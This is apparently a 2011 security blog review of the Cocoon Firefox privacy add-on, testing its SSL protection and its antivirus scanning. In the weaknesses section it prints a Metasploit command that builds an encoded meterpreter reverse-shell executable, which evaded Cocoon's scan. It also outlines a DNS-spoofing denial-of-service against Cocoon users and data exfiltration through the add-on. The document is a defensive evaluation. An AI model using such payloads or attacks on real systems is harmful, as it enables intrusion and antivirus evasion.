Firefox Add-On Cocoon – Strengths and Weaknesses

Sunday, September 25, 2011

Kyle Young


What is Cocoon? According to, it is:

Cocoon is a service that protects your computer and your privacy when you are on the Internet. It’s a virus-free, secure, and private web experience. We shield your computer from the bad guys, and we protect your identity from prying eyes. It’s that simple.

I would like to argue how ’secure’ Cocoon is, but year after year, I think most information security specialists would agree that most things aren’t necessarily 100% secure. Semantics aside, I am still relatively impressed with this Firefox add-on, which can be obtained here.

Strengths of Cocoon:

Using tools like ettercap, sslstrip, webmitm, dnsspoof, and wireshark, I was not able to retrieve the login credentials that were used to sign on to Cocoon’s privacy service. The way they have implemented SSL with this plugin is probably one of the best SSL implementations I’ve seen in my humble opinion. (Although, it does use TLS version 1, which I think you should read about here.)

Even using webmitm and creating a self signed certificate pretty identical to the one that * used, I was not able to log in to the service and I received this error message (click image to enlarge):

Cocoon Cert Error

The implementation of SSL that the Cocoon developers have used is simply wonderful. For people who are on the road and have to bear using public wifi on a regular basis and don’t have access to a VPN server or using a socks5 proxy server via SSH, I believe that using HTTPS Everywhere and Cocoon in tandem would be a great defense against attackers who are on the same network.

Weaknesses of Cocoon:

Cocoon’s proxy service has an AV solution implemented. For instance, when you go to download an executable file when you’re using Cocoon, you will be prompted that the file has either passed the virus scan or hasn’t. In the case of if it has passed the scan, you are still given a warning about what kind of file it is. If the file has failed the AV scan, you won’t be able to download the file while using Cocoon.

With that being said, I thought I would put Cocoon’s AV solution to the test. Firstly, I tried accessing a benign but universally known ‘virus’ file that triggers all AV solutions:

Not so surprisingly, this file was flagged and I was warned. My next test was to try a meterpreter PE hosted on my own website, which I created using:

msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=443 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 -o test.exe

(prior to running this string, I ran msfupdate of course). To my surprise, this file passed the AV scan done by Cocoon’s AV services. My next test was done using no encoders and yet again this passed the AV scan provided by Cocoon!

I even tried sbd.exe which is in the /pentest/windows-binaries/tools directory of BackTrack without modifying the file, yet it still passed Cocoon’s AV solution.

With Linux and OSX payloads from the Metasploit project, they passed the AV solution as well, but I was still warned that they were executable. Other file types that can trigger Cocoon’s AV solution are zip and tar.gz files. Yet .rar files triggered no alerts or prompts.

We shield your computer from the bad guys”, pertaining to AV solutions, this is where Cocoon falls extremely short.

Network attacks against Cocoon:

As of the moment, the only attack I could do against Cocoon was a DOS attack. I simply used dnsspoof or ettercap (and the dns_spoof plugin)  and setup a hosts file with * pointing to my IP address or a non-existing one.

What this means is that someone who’s in the same network as me and if I know they use Cocoon, I could do a DOS attack against them so they cannot access Cocoon’s services and then they would be forced to access the web ‘naked’.

Offensive uses of Cocoon:

One could use Cocoon for ex-filtrating data out of an organization to a foreign entity. For instance, if I’m agitated employee X at employer Y, I could install and use Cocoon to e-mail an attachment containing company private information to an out of jurisdiction web server.

Closing Words:

For those of you who people come to for information security related solutions, I would highly recommend that you check this Firefox add-on. As of the moment, it is free and free to use their service. Weaknesses aside, I still believe that this is a great defensive tool.

Cross-posted from Zitstif
Possibly Related Articles:
Information Security
Encryption Firefox SSL Privacy Tools add-on Cocoon
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